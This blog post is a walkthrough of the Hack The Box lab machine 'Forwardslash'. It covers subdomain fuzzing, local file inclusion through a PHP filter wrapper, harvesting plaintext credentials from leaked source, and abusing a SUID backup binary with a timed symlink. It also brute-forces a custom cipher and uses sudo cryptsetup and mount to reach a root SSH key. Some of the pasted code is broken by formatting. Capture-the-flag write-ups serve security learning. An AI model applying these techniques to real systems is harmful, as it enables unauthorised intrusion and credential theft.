top of page
  • BlueDolphin

Hack The Box Forward Slash

Updated: Sep 13, 2020


Forwardslash has only two ports but requires you to dig deep in your enumeration on the website. The first step is subdomain discovery, followed by directory fuzzing and local file inclusion with a php wrapper through the login page. Following this is an LFI exploit that displays plain text credentials to ssh in. The active process is owned by user pain which is constantly generating an md5sum timestamp and we run the config.php.bak with a spoofed time stamp. From there we analyze SUID availability and there is a script that encrypts backup images, and a module that maps backup images to a mounted location. We reverse engineer the encryption script, mount the image and get root.


  • Finding subdomain

  • Enumerating for Local File Inclusion

  • Using a PHP wrapper to by pass filters and gain LFI

  • Extract credentials from index.php with LFI

  • Login as Chiv

  • Analyze backup and config.php.bak, write bash script to spoof time stamp.

  • Login as pain

  • Get user.txt

  • Analyze encryptorinator

  • Reverse and retrieve key

  • Mount the backup images with the key

  • Login as root

  • Obtain root.txt



Two ports are open which is deceptive compare to the usual lists with HTB machines.

Port 80 HTTP and 22 SSH are open.

Port 80

The home page talks about the attackers possibly using XML and Automatic FTP Logins. My initial attempt at directory busting yield no results and I shifted over to subdomain fuzzing using the sec list "subdomain-top1million-110000.txt",

sudo gobuster vhost -t20 -w subdomains-top1million-110000.txt -u http://forwardslash.htb  -o vhostbust.log

We get the results backup.forwardslash.htb and add this to our etc hosts file.

echo-e"\tbackup.forwardslash.htb">> /etc/hosts 


I browsed to the backup.forwardslash.htb page and received cannot be displayed. I attempted to perform verb tampering, https request smuggling and cache poisoning but could not get anything. Then all of a sudden it worked and I guess it just took some time to update my cache. This brought me to the login page.

I started to run SQL map on the and while I was looking around I realized I could create an account. So I did exactly that and logged in as an administrator.

I also had go buster running against the subdomain and I found a dev folder

This page appears to likely have an XML external Entity (XXE) vulnerability but I was unable to exploit it. I did however talk to some other people that went through that way and confirmed it is possible.

By pass client side buttons

Out of all the options this page, to change your profile picture stood out as mis configured. Initially you will notice the button to submit is disabled and you cannot enter a URL.

Inspecting the page source shows us a client side misconfiguration.

The buttons for both the submit and URL: are disabled.

We can actually delete the client side code and open access to these buttons which allows the submission of a URL. From here I enter my existing ip address into the URL and set up a NC listener to look for a successful outbound query.

The response was successful and moves us closer to our goal.

Local File Inclusion

So this is fantastic, we are able to make get requests and gain a little control over this form. I was not sure where to go from here so I burped the port and checked the request where I got lucky for the next clue.

The url= parameter at the bottom is our entry and testing point for local file inclusion as we run some payloads.

The standard payload will be to send a request to file /etc/passwd/


While looking around I tried to drop the index for backup.forwardslash.htb and received a denied response.

I went on a bit of a tangent here with https request smuggling, verb tampering and cache poisoning and I got no where. Eventually I moved in the direction of filter by passing with encoding wrappers and with some trial and error. The final payload looked like this.

Just a regular php base 64 wrapper. The was interpreted and processed by the back end server.

Boom there it is, we received the response page in base64 and proceed to decrypt the page for the following code.

//include_once ../session.php;
// Initialize the session

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== ""){
    header('HTTP/1.0 403 Forbidden');
    echo "<h1>403 Access Denied</h1>";
    echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
    //echo "<h2>Redirecting to login in 3 seconds</h2>"
    //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
    //header("location: ../login.php");
	<h1>XML Api Test</h1>
	<h3>This is our api test for when our new website gets refurbished</h3>
	<form action="/dev/index.php" method="get" id="xmltest">
		<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
		<input type="submit">


<!-- TODO:
Fix FTP Login

if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

	$reg = '/ftp:\/\/[\s\S]*\/\"/';
	//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'

	if (preg_match($reg, $_GET['xml'], $match)) {
		$ip = explode('/', $match[0])[2];
		echo $ip;

		$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

		error_log("Logging in");

		if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

			error_log("Getting file");
			echo ftp_get_string($conn_id, "debug.txt");


	libxml_disable_entity_loader (false);
	$xmlfile = $_GET["xml"];
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$api = simplexml_import_dom($dom);
	$req = $api->request;
	echo "-----output-----<br>\r\n";
	echo "$req";

function ftp_get_string($ftp, $filename) {
    $temp = fopen('php://temp', 'r+');
    if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
        return stream_get_contents($temp);
    else {
        return false;


Looking through the code yields us valid user credentials which we use to login to the target over ssh.

if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

Foothold to User

Now that we were successfully able to login with user chiv we get a shell but still cannot read the user.txt. This is pretty common with HTB and the next stage will be moving horizontally to another user on the system.

From here I uploaded enumeration script by hosting a server with

python3 http.server

From the target host I used wget to retrieve



Running linpeas provided a stream of results and my first red herring was actually the SUID mount binary, which distracted me at first but came in handy later on.

Traversing over to /bin/ we run the mount binary and receive nothing out of the normal, and I was not able to exploit this command so we move on for now.

There is also this backup binary flagged as important along with backups/config.php/bak.


The next interesting file that picked up was /usr/bin/backup.

Running this file provided some interesting results.

Every time we run the binary the Hex string Changes.

Stack Trace

Because a backup binary is not a linux binary by default this is a promising target to attack. However we have limited information and cannot make any deductions without investigating further.

Because I was not able to download the file I will instead you strace.

In the simplest case strace runs the specified command until it exits. It intercepts and records the system calls which are called by a process and the signals which are received by a process. The name of each system call, its arguments and its return value are printed on standard error or to the file specified with the -o option.

We can see that the comments are suggesting we have to read the right file while ensuring the backup is taken at a particular time. The provided string of encoded characters was identified as md5 with a hash analyzer.

What time is it?

Because the hash is constantly changing and the binary talks about the importance of time, we want to compare the hash of the current time with the hash of the binary to learn if that is our hash text. The hints on the forum also suggested at this.

time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo $time

With some research and a few questions on HTB discord I pulled together a script that worked.

The file pulls the date, strips new lines and provides an md5sum without the trailing ' -', and storing this in a variable called time which is then echoed at the same time the backup command is run.

However the default date command outputs something like this.

Tue Aug 25 20:56:37 UTC 2020

We had to strip some of the variables.

Hence why we specify date with only the hour, minute and second.

Analyzing the backup binary also provided clarity as seen below.

The binary shows that 3 variables are being printed to the screen and hashed with md5. This is likely Hour:Minute:Second. From here I was getting the correct time match up

From here we had to make sure that we are reading the right file. So I uploaded pspy64 and launched my script with a hope to capture the file call but it failed.

Back to the drawing board

If we spoof the current time and read the right file we will get something. Nothing was found in the binary. So we took a guess from some talk on the forum about a symbolic link between the time variable produced and stripped from our script and connect it with var/backups.php.bak..

ln -s - Creates symbolic link.

time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo "$time"
ln -s /var/backups/config.php.bak ~/tmp/$time

This actually got us the users password and I could not believe it!

user : pain

password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704


We start with the usual sudo -l and see we have access to three commands that can be run with root privileges. Below we can see and make the following inferences.

  1. Backups and Luks encryption are referenced

  2. We likely have to decrypt a backup image

  3. the dev/mapper location suggests we can mount to read

There was alos a note.txt in our directory which talks about encrypted information on the target with an encryption key that had been communicated in person.

Two more files ciphtertext and need to be investigated so we started with the envrypter script.

To help me understand what is going on here, I took out my rubber duck and attempted to not only interpret this code but to explain it to a rubber duck.

I focused on the code trying to understand each step while making comments.

// The encrypt function operates by generating a final value. Every character in key is added to each character in message, one at a time for a total sum.

def encrypt(key, msg):
    key = list(key)  
    //Define key
    msg = list(msg)	
    //Define msg to encrypt
    for char_key in key: 
    //Iterate through each character of key
        for i in range(len(msg)): 
        //Iterate through msg one letter at a time
            if i == 0: 
            //Error check to confirm msg input
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1]) //
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1]) 
                //Sum of value = msg + (key + Previous msg char)

            while tmp > 255:
                tmp -= 256
                // Modulus 256
            msg[i] = chr(tmp) 
            // converts value back to char
    return ''.join(msg) 

def decrypt(key, msg):
    key = list(key) 
    //Define key
    msg = list(msg) 
    //Define Message
    for char_key in reversed(key): 
    //Iterate through each character of key
        for i in reversed(range(len(msg))): 
        //Iterate through message one letter at a time
            if i == 0: 
            // Error check to confirm message input
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) 
                // Remaining value = message - (key +  previous msg)
            while tmp < 0:
                tmp += 256 
                // Modulus 256
            msg[i] = chr(tmp) 
            // converts value back to char
    return ''.join(msg)

print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

We have the cipher text which displays values out of the ascii table boundaries. This explains the large values that are generated in the encryption sums.

This part of the box was a little difficult and I spent allot of time trying to script out a reverse encryption and with information in the HTB forum and assistance from my team I eventually figured this out.

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)

ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165): 
    for v in range(33, 127): 
        key = chr(v) * i
        msg = decrypt(key, ciphertext)
        if 'the ' in msg or 'be ' in msg or 'and ' in msg 
         : exit("Key: {0}, Msg: {2}".format(key, len(key), msg))

The solution resulted in an a mapping of all possibilities until readable words are found. The entropy factor is low, as all values will end in a similar post modulus range.

Mounting backup images

The clue in the decrypted message provided a backup location and password.

Lets head to that location and enumerate.

An encrypted file was waiting with a Luks encrypted file header. This is pretty straight forward with the goal to mount the image, decrypt with our provided key and investigate from there.

Some research shows that cryptsetup is a linux local library that offers communication with encrypted devices. Crypstup even has a module specific to Luks encrypted devices.

More information can be found here

sudo /sbin/cryptsetup luksOpen: - Calls the linux Cryptsetup module with Luks configurations
/var/backups/recovery/encrypted_backup.img backup: - our desired backup image and output name

cryptsetup by default will mount an image to the /dev/mapper location

Where we see a symbolic link to dm-0, (device mapper). This means our image is virtually mounted and recognized as an external device.

Lets revisit the sudo commands that user pain can run as this will shape the direction of our efforts. We have already used crypt setup with the LuksOpen module to decrypt the device, so our next step will be inline with the second command to mount the decryption image to a location and bring online.

We move to the /dev/shm folder as we were not able to write to /dev/ folder when creating a mount point. From the /dev/shm directory. The /dev/shm directory is for mounting virtual images in temporary storage. It is here we are able to create a mount point, as is referenced in the sudo availability commands in the above image.

We make a directory named ./mnt/ and then utilize the mount command to mount the decrypted backup to the ./mnt/ directory.

Sudo /bin/mount /dev/mapper/backup ./mnt/

Browsing the newly mounted and decrypted backup folder with the sudo accessible commands we have decryptyed, mounted and read the content where we found an rsa key to root.

pain@forwardslash:/dev/shm/mnt$ cat id_rsa 


The End

All in all this was a very good box, that was relatively straight forward but difficult.

I especially enjoyed the local file inclusion, and scripting a reverse key.

103 views0 comments

Recent Posts

See All


bottom of page